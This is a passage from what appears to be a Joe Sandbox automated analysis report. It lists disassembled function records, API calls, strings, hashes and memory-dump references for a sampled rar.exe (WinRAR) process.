Part of subcall function 00007FF6FAA648CC: GetVersionExW.KERNEL32(?,?,?,00007FF6FAA57E7D), ref: 00007FF6FAA6496A
Part of subcall function 00007FF6FAA648CC: LoadLibraryExW.KERNELBASE(?,?,?,00007FF6FAA57E7D), ref: 00007FF6FAA64993

new.LIBCMT ref: 00007FF6FAA57EA8

Strings

rar.lng, xrefs: 00007FF6FAA57E7D

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: AddressHandleModuleProcsetbuf$ErrorLibraryLoadModeVersion
String ID: rar.lng
API String ID: 553376247-2410228151
Opcode ID: da8370b5298aa504e96f4bedb37cf3b824543d1dd7ee1d37a7dea72557966179
Instruction ID: 2d87953339ba604c747c3d9355b3c574f6609c23533343bf9b67478eeaf825e8
Opcode Fuzzy Hash: da8370b5298aa504e96f4bedb37cf3b824543d1dd7ee1d37a7dea72557966179
Instruction Fuzzy Hash: 7341BF21E0C7824AFB10EB64A4121B923A09F42794F5855B5E97EC73D7FE2EE40F8710

Function 00007FF6FAA540A4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetMalloc.SHELL32(?,00000800,?,00007FF6FAA54432,?,?,?,?,00000800,00000000,00000000,00007FF6FAA538CB,?,?,?,00007FF6FAA541EC), ref: 00007FF6FAA540C4
SHGetSpecialFolderLocation.SHELL32(?,?,?,?,00000800,00000000,00000000,00007FF6FAA538CB,?,?,?,00007FF6FAA541EC), ref: 00007FF6FAA540DF
SHGetPathFromIDListW.SHELL32 ref: 00007FF6FAA540F1

Part of subcall function 00007FF6FAA43458: CreateDirectoryW.KERNEL32(00000800,00000000,?,00007FF6FAA5413F,?,?,?,?,00000800,00000000,00000000,00007FF6FAA538CB,?,?,?,00007FF6FAA541EC), ref: 00007FF6FAA434A0
Part of subcall function 00007FF6FAA43458: CreateDirectoryW.KERNEL32(00000800,00000000,?,00007FF6FAA5413F,?,?,?,?,00000800,00000000,00000000,00007FF6FAA538CB,?,?,?,00007FF6FAA541EC), ref: 00007FF6FAA434D5

Strings

WinRAR, xrefs: 00007FF6FAA5410F

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: CreateDirectory$FolderFromListLocationMallocPathSpecial
String ID: WinRAR
API String ID: 977838571-3970807970
Opcode ID: 415bfa020dc0990cad3e0501dba2d99d0bb0d0c3ec71343b5049903f98ccb042
Instruction ID: 178536be2d98375e40d85bb305ea9cffdf48b940604681a889333ae6d5ccdff1
Opcode Fuzzy Hash: 415bfa020dc0990cad3e0501dba2d99d0bb0d0c3ec71343b5049903f98ccb042
Instruction Fuzzy Hash: AE21C022A08B4281EB509F26F9501BA6361BF89BD0F085071EF2E873D9FE3DD04A8700

Function 00007FF6FAA8978C Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNELBASE(?,?,?,?,?,?,?,00007FF6FAA83CEF,?,?,00000000,00007FF6FAA83CAA,?,?,00000000,00007FF6FAA83FD9), ref: 00007FF6FAA897A5
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF6FAA83CEF,?,?,00000000,00007FF6FAA83CAA,?,?,00000000,00007FF6FAA83FD9), ref: 00007FF6FAA89807
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF6FAA83CEF,?,?,00000000,00007FF6FAA83CAA,?,?,00000000,00007FF6FAA83FD9), ref: 00007FF6FAA89841
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF6FAA83CEF,?,?,00000000,00007FF6FAA83CAA,?,?,00000000,00007FF6FAA83FD9), ref: 00007FF6FAA8986B

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 364642b671081880708a9fd88c74d382691b826692dc9b7a9f4ea86390b8b8db
Instruction ID: 5e7cfa51f1555e40d9dc060ecc4e8f56b1e9a21e79c6a7617be4257b5891a8de
Opcode Fuzzy Hash: 364642b671081880708a9fd88c74d382691b826692dc9b7a9f4ea86390b8b8db
Instruction Fuzzy Hash: E8213035E1C79281E7208F12A440129A7A4FB58FD1F484175DEAEA7BD8EF3CE4578744

Function 00007FF6FAA41C74 Relevance: 6.1, APIs: 4, Instructions: 55fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,?,?,00007FF6FAA421A7,00000000,00000028,?,00007FF6FAA37792), ref: 00007FF6FAA41C97
ReadFile.KERNELBASE ref: 00007FF6FAA41CB6
GetLastError.KERNEL32 ref: 00007FF6FAA41CEA
GetLastError.KERNEL32 ref: 00007FF6FAA41D08

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 292f130439141af7737bd2c92edf84b453f5fe027529f60c064a2129a7dd684d
Instruction ID: 0eda8f488714bbdb4d4190bffceb1263b75e49e34eaafa851b7043f14e72b2e7
Opcode Fuzzy Hash: 292f130439141af7737bd2c92edf84b453f5fe027529f60c064a2129a7dd684d
Instruction Fuzzy Hash: C021A521E0CA4681EBA28B25E50033962A4BF45BD8F1445B2FD7DC76E8EF2DD49A8741

Function 00007FF6FAA349F8 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 205COMMON

Download Yara Rule

Strings

default.sfx, xrefs: 00007FF6FAA34AB0
AFUM, xrefs: 00007FF6FAA34B8C

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID:
String ID: AFUM$default.sfx
API String ID: 0-2491287583
Opcode ID: 9c5250dc79f526f8b88a1db49316f6b7f6f5dd8f7a69fa39e4eeb80febe8b362
Instruction ID: 8cc372337e0ab4260059d2635775570b8060c952cdb9856d072f381ed791ff4e
Opcode Fuzzy Hash: 9c5250dc79f526f8b88a1db49316f6b7f6f5dd8f7a69fa39e4eeb80febe8b362
Instruction Fuzzy Hash: 9C81B321E0C78242EB719F1191122B922A0BF55786F4480B1DEEDC76C6FF2EA49FC710

Function 00007FF6FAA865BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6FAA8662E
GetFileType.KERNELBASE ref: 00007FF6FAA86644

Strings

@, xrefs: 00007FF6FAA8666F

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: ac2df8724446a0d51fe7f393cd596ff3ce055ba98acd5cb21c7dcdd1beef0449
Instruction ID: ad1aa5d3ca38706997fd1715faa7c3908fb70ffb3e220eee16d670a26dbd1a5f
Opcode Fuzzy Hash: ac2df8724446a0d51fe7f393cd596ff3ce055ba98acd5cb21c7dcdd1beef0449
Instruction Fuzzy Hash: D2216422E1C7C241FB688B259490139A755FB45774F282375DA7E867D4EE3DE886C301

Function 00007FF6FAA6B9BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00007FF6FAA6B9F8
SetThreadPriority.KERNEL32 ref: 00007FF6FAA6BA4E

Part of subcall function 00007FF6FAA3CDA4: wcschr.LIBVCRUNTIME ref: 00007FF6FAA3CE0F
Part of subcall function 00007FF6FAA3CDA4: wcschr.LIBVCRUNTIME ref: 00007FF6FAA3CE22

Part of subcall function 00007FF6FAA3CA40: _CxxThrowException.LIBVCRUNTIME ref: 00007FF6FAA3CEDE

Strings

CreateThread failed, xrefs: 00007FF6FAA6BA06

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: Threadwcschr$CreateExceptionPriorityThrow
String ID: CreateThread failed
API String ID: 1217111108-3849766595
Opcode ID: 23f25dd9d767684a47335cfb6564c8d2137849cd663ca384977e916ef4a87e16
Instruction ID: 3acd20d6e4c41d6dd9e044724e12f0d4ead31396cbcdc1b4a5e7721378bf34c6
Opcode Fuzzy Hash: 23f25dd9d767684a47335cfb6564c8d2137849cd663ca384977e916ef4a87e16
Instruction Fuzzy Hash: 78113D32A18B4282EB05DF14E8411B97360FB84784F544172E6AD827A9FF3DE55FCB40

Function 00007FF6FAA6BB80 Relevance: 4.5, APIs: 3, Instructions: 30COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,00007FF6FAA6BB79), ref: 00007FF6FAA6BBB9
SetEvent.KERNEL32 ref: 00007FF6FAA6BBCF
LeaveCriticalSection.KERNEL32 ref: 00007FF6FAA6BBD8

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: CriticalSection$EnterEventLeave
String ID:
API String ID: 3094578987-0
Opcode ID: 8fe9f8176e207c020d906139d049f12966b7ba6a10f6a81758c5b7eb42f71044
Instruction ID: 8d67ddc15e4fdaf7c23c2dbe1e1da6fc8bde23059201b0c96e0051c576989e7d
Opcode Fuzzy Hash: 8fe9f8176e207c020d906139d049f12966b7ba6a10f6a81758c5b7eb42f71044
Instruction Fuzzy Hash: 14F06222648A4682EB609F15F5400796360FB89BD8F044170DEAD467A9EE2DD55F8B00

Function 00007FF6FAA37B44 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,00007FF6FAA37A9E), ref: 00007FF6FAA37B4A
GetFileType.KERNELBASE(?,?,?,00007FF6FAA37A9E), ref: 00007FF6FAA37B56
GetConsoleMode.KERNEL32(?,?,?,00007FF6FAA37A9E), ref: 00007FF6FAA37B69

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: ConsoleFileHandleModeType
String ID:
API String ID: 4141822043-0
Opcode ID: b15bfddebd279c5c829c27adb93723b3551ef5d7968acfa0ad204a509e36213f
Instruction ID: 04ce4ff4793491a1cdd57e0feec3adf071de700deb480ce2737d00e7e9b46667
Opcode Fuzzy Hash: b15bfddebd279c5c829c27adb93723b3551ef5d7968acfa0ad204a509e36213f
Instruction Fuzzy Hash: 92E08C20E0460292EB588B25A8A613A12659F4DBC0F4010B4D82FCA3D4FE2ED59E8300

Function 00007FF6FAA82488 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6FAA8246C), ref: 00007FF6FAA824B0
TerminateProcess.KERNEL32(?,?,?,00007FF6FAA8246C), ref: 00007FF6FAA824BB
ExitProcess.KERNEL32 ref: 00007FF6FAA824CA

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: dc222732d609072635a32a4c442b917d442ee89fc7b927a0b9cfc4e365035d5e
Instruction ID: a4ae8b04b664a2e2fcb5fbccb676f9be7955df4ac75d177d96b2a3cfd5c8cc1a
Opcode Fuzzy Hash: dc222732d609072635a32a4c442b917d442ee89fc7b927a0b9cfc4e365035d5e
Instruction Fuzzy Hash: 0BE09A24A0879542EB546B65998537927526F88B81F0054B8CC2E863DAEE3EE85E8260

Function 00007FF6FAA44044 Relevance: 3.3, APIs: 2, Instructions: 336COMMON

Download Yara Rule

APIs

OemToCharA.USER32 ref: 00007FF6FAA44255
ExpandEnvironmentStringsW.KERNEL32(?,?,00000000,?,?,?,?,?,00007FF6FAA26CD9), ref: 00007FF6FAA4447C

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: CharEnvironmentExpandStrings
String ID:
API String ID: 4052775200-0
Opcode ID: a3ba1b03603a475655284a6a52820d5ab219f11978c107c81e75b3572b44f527
Instruction ID: 3163ec55643f659ec8f5c7933737908d36c39a92f1b143c55d247c15d130aafa
Opcode Fuzzy Hash: a3ba1b03603a475655284a6a52820d5ab219f11978c107c81e75b3572b44f527
Instruction Fuzzy Hash: 82E19222A1868287EB608F65D4001BE67A1FB51794F444171EFAE87AEDEF7CE45BC700

Function 00007FF6FAA41AF0 Relevance: 3.1, APIs: 2, Instructions: 85fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000800,?,00000000,00007FF6FAA37EBE,00000000,00000000,00000000,00000000,00000007,00007FF6FAA37C48), ref: 00007FF6FAA41B8D
CreateFileW.KERNEL32(?,?,00000800,?,00000000,00007FF6FAA37EBE,00000000,00000000,00000000,00000000,00000007,00007FF6FAA37C48), ref: 00007FF6FAA41BD7

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4219d35e49beb692727e1c809157a61a389fcef5d2ea993dee933b1b68bc62b7
Instruction ID: d576cc67b8a3d817b43b22e5e1767e576d7ad487c9ec5bd281248e59ad3eb094
Opcode Fuzzy Hash: 4219d35e49beb692727e1c809157a61a389fcef5d2ea993dee933b1b68bc62b7
Instruction Fuzzy Hash: 31311063A1868546E7719F24E4053A966A0FB41BB8F104374EEBC866D9FF7CC88B8700

Function 00007FF6FAA2681C Relevance: 3.1, APIs: 2, Instructions: 75COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6FAA268AE
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6FAA268BF

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
